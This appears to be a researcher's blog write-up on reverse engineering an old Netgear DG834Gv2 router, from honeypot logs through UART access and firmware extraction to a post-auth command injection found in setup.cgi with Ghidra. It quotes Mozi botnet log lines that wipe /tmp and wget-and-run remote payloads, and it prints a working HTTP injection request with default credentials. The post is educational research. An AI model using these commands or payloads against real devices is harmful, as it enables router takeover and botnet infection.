Hello everyone i’m back for a new series of articles that this time will not only talk about Web security. In parallel of my web projects, I am currently interested in reverse engineering and binary exploitation. I began to teach myself about the subject by reading the books:

  • The Shellcoder’s Handbook
  • Understanding the Linux Kernel, 2nd Edition
  • Linux Device Drivers, 2nd Edition

And by carrying out the various exercises proposed within the virtual machines of exploit.education:

Introduction

Laluka introduced me to the idea of using a super simple honeypot coded in Python to retrieve the paths exploited by bots on the internet. I looked at the honeypot logs and got a path that comes up repeatedly.

Example:

$ cat http_server.log | grep -m4 setup.cgi
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://123.4.213.87:42597/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://123.4.88.169:58478/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://163.125.232.235:39983/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

The string netgear.cfg indicates that the exploited routers are Netgear routers. That falls well, at my parents house I have an old Netgear router whose model is DG834Gv2 (ADSL 54 Mbit/s router). I looked if there are known vulnerabilities on this router and found Eloi Benoist-Vanderbeken’s article:

And a exploit-db.com exploit:

I summarize briefly, Eloi’s article shows the existence of a backdoor (listening on port 32764) in the router but the article seems to explain that the functioning of this one have been identified using a fuzzing technique:

Let’s bruteforce them! (slide 20)

And the one from exploit-db explains that it is possible to bypass the authentication by specifying currentsetting.htm=1 in the query string, which allows the attacker to reach admin pages.

So I say to myself, perfect, would I be able to at least find the same vulnerabilities but in another way, and why not find new ones.

Action plan

I work in parallel on a connected camera where I found a UART serial port, which allowed me to debug my actions. So, it may be interesting to look for such a port on our router.

alt text

alt text

alt text

alt text

alt text

Once disassembled, it is on the JP603 connectors that we can identify the presence of a UART serial port (it is to be noted that the headers have been soldered by me and are not present on the router by default).

Using the Bus Pirate v3.6 with the configurations visible on the figure below we are able to get a root shell on the router without authentication. This will be useful later to debug our actions more easily.

alt text

alt text

alt text

You can observe the output of the boot process in boot.log.

Now we also need to recover the router firmware. By chance the three existing versions of the firmware are available for download on the Netgear website.

Firmwares:

Our battle plan is to start from the oldest existing version and try to find bugs and identify if these bugs are present in the new versions. Then look for new bugs on the versions above and so on.

Firmware version v1.05.00

So we take our freshly downloaded archive “v1.05.00.zip” and decompress it using unzip.

$ unzip v1.05.00.zip
Archive:  v1.05.00.zip
 extracting: dg834_g_v1_05_00.zip
  inflating: ReleaseNotes_DG834v1_fw_1.05.00.html

Then we decompress the file “dg834_g_v1_05_00.zip” using unzip.

$ unzip dg834_g_v1_05_00.zip
Archive:  dg834_g_v1_05_00.zip
  inflating: DG834(G)_V1.05.00.img
  inflating: DG834(G) 1.05.00 Release Notes.pdf
  inflating: GPL and LGPL Compliance Notice.txt

Then we use binwalk to identify what the “DG834(G)_V1.05.00.img” file contains.

$ binwalk "DG834(G)_V1.05.00.img"

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
56532         0xDCD4          Copyright string: "Copyright 1996-2003 Texas Instruments Inc. All Rights Reserved."
56604         0xDD1C          Copyright string: "Copyright 2003 Telogy Networks, Inc."
138492        0x21CFC         Copyright string: "Copyright (C) 2003 Texas Instruments Incorporated; Copyright (C) 1999-2003 Igor Pavlov."
138543        0x21D2F         Copyright string: "Copyright (C) 1999-2003 Igor Pavlov."
851968        0xD0000         Squashfs filesystem, little endian, version 1.0, size: 2363300 bytes, 835 inodes, blocksize: -32768 bytes, created: 2004-06-29 08:20:26
4063154       0x3DFFB2        Sercomm firmware signature, version control: 0, download control: 0, hardware ID: "DG834", hardware version: 0x4100, firmware version: 0x0, starting code segment: 0x0, code size: 0x7300

This allows us to identify the presence of a Squashfs filesystem at the offset 0xD0000. Using the “-e” option of binwalk, we get the file system extracted to the “./_DG834(G)_V1.05.00.img.extracted/squashfs-root” folder:

$ ls "_DG834(G)_V1.05.00.img.extracted/squashfs-root"
bin     dev     etc     lib     proc    sbin    tmp     usr     var     www     www.deu www.eng www.fre www.ita

Let’s list all the binaries present on the router:

$ find . -type f -exec file {}  \; | grep executable
./usr/sbin/atmarp: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/brctl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/ez-ipupdate: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/pppoe: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/crond: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/zebra: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/setup.cgi: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/udhcpd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/br2684ctl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/smtpc: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/restore_config.cgi: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/wifi_watchdog: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped
./usr/sbin/wizard: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/fw-scripts/dos: POSIX shell script text executable, ASCII text
./usr/sbin/fw-scripts/msn: POSIX shell script text executable, ASCII text
./usr/sbin/fw-scripts/algs: POSIX shell script text executable, ASCII text
./usr/sbin/fw-scripts/cfilter: POSIX shell script text executable, ASCII text
./usr/sbin/fw-scripts/firewall: POSIX shell script text executable, ASCII text
./usr/sbin/fw-scripts/rping: POSIX shell script text executable, ASCII text
./usr/sbin/fw-scripts/dmz: POSIX shell script text executable, ASCII text
./usr/sbin/fw-scripts/rcontrol: POSIX shell script text executable, ASCII text
./usr/sbin/reaim: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/dproxy: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/cmd_agent_ap: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/atm_monitor: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/nocache.cgi: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/utelnetd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/pb_ap: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/scfgmgr: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/atmarpd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/iptables: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/nvram: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/netgear_ntp: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/pppd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/mini_httpd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/rc: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/user_drv: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/nbtscan: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/ripd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/sbin/upnpd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./usr/etc/udhcpc.wizard.script: POSIX shell script text executable, ASCII text
./usr/etc/udhcpc.script: POSIX shell script text executable, ASCII text
./usr/etc/udhcpc.fix.script: POSIX shell script text executable, ASCII text
./usr/etc/ppp/ip-up: POSIX shell script text executable, ASCII text
./usr/etc/ppp/ip-up-demand: POSIX shell script text executable, ASCII text
./usr/etc/ppp/ip-down: POSIX shell script text executable, ASCII text
./usr/etc/rcS: POSIX shell script text executable, ASCII text
./bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
./sbin/syslogd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

This allows us to identify several things:

  • The binaries are compiled to run on an mipsel little endian architecture (ELF 32-bit LSB executable, MIPS).
  • The following CGI are executed when they are requested via the web server /usr/sbin/mini_httpd:
    • /usr/sbin/setup.cgi (CGI script requested by bots)
    • /usr/sbin/restore_config.cgi
    • /usr/sbin/nocache.cgi

Moreover the /bin/busybox binary is present and it embeds the following binaries:

  • ash, cat, chmod, cp, dd, dmesg, echo, egrep, false, free, grep, ifconfig, init, insmod, kill, killall, ln, ls, lsmod, mkdir, modprobe, more, mount, mv, ping, ps, reboot, rm, rmmod, route, sh, sleep, test, touch, true, umount

So already a very important point, the payload used by bots can not be effective against this router or at least against this firmware version since the wget binary is not present on the file system. So to my knowledge, and I confess not to have searched much, the only known bug exploitable on this router is the one found by Eloi.

Let’s connect to the administrator interface of the router with the following default identifiers, to look for bugs:

  • Username: admin
  • Password: password

Which once encoded in base64 will allow us to authenticate ourselves for all future requests.

alt text

The whole router seems manageable from the CGI script setup.cgi then let’s reverse it with Ghidra.

Command injection in the diagnostic functionality ping (post-auth)

Looking into /usr/sbin/setup.cgi with Ghidra

After a little research, you will soon find something obvious. The FUN_00405aa4 function seems to create a string that looks very much like a bash command based on parameters that seem controllable by a user:

alt text

Let’s see what the function myPipe does:

alt text

So we have a call to popen with potentially a parameter controlled by the user which results directly in a command injection.

After a few seconds of searching we realize that the router offers diagnostic functions.

alt text

alt text

alt text

Let’s try to inject a command:

alt text

After trying different payloads:

  • ; ls
  • && echo HIT
  • || sleep 5

I realize that no one does seem to pass. That’s when I decided to use the complete path of the binary busybox:

alt text

It works, let’s try to understand why it didn’t work by making a direct call to echo or ls. Using the following HTTP POST request:

POST /setup.cgi HTTP/1.1
Host: 10.X.X.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 221
Origin: http://10.X.X.1
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Connection: close
Referer: http://10.X.X.1/setup.cgi?next_file=diag.htm&todo=cfg_init
Upgrade-Insecure-Requests: 1

IPAddr1=127&IPAddr2=0&IPAddr3=0&IPAddr4=1&ping=Ping&todo=ping_test&this_file=diag.htm&next_file=diagping.htm&c4_IPAddr=127.0.0.1 %26%26 /bin/busybox echo $(pwd) >> /tmp/output %26%26 /bin/busybox echo $PATH >> /tmp/output

We obtain the following results:

alt text

  • $(pwd) = /www.eng
  • $PATH = ./

It is therefore the environment variable $PATH that forces us to use the absolute path of the binaries to call them. The myPipe function is called at different places in the binary but we are for the rest of the calls not able to control its parameters.

It should be noted that this is also exploitable via an HTTP GET request:

alt text

In the next part of this article we will see another way to execute commands on the router.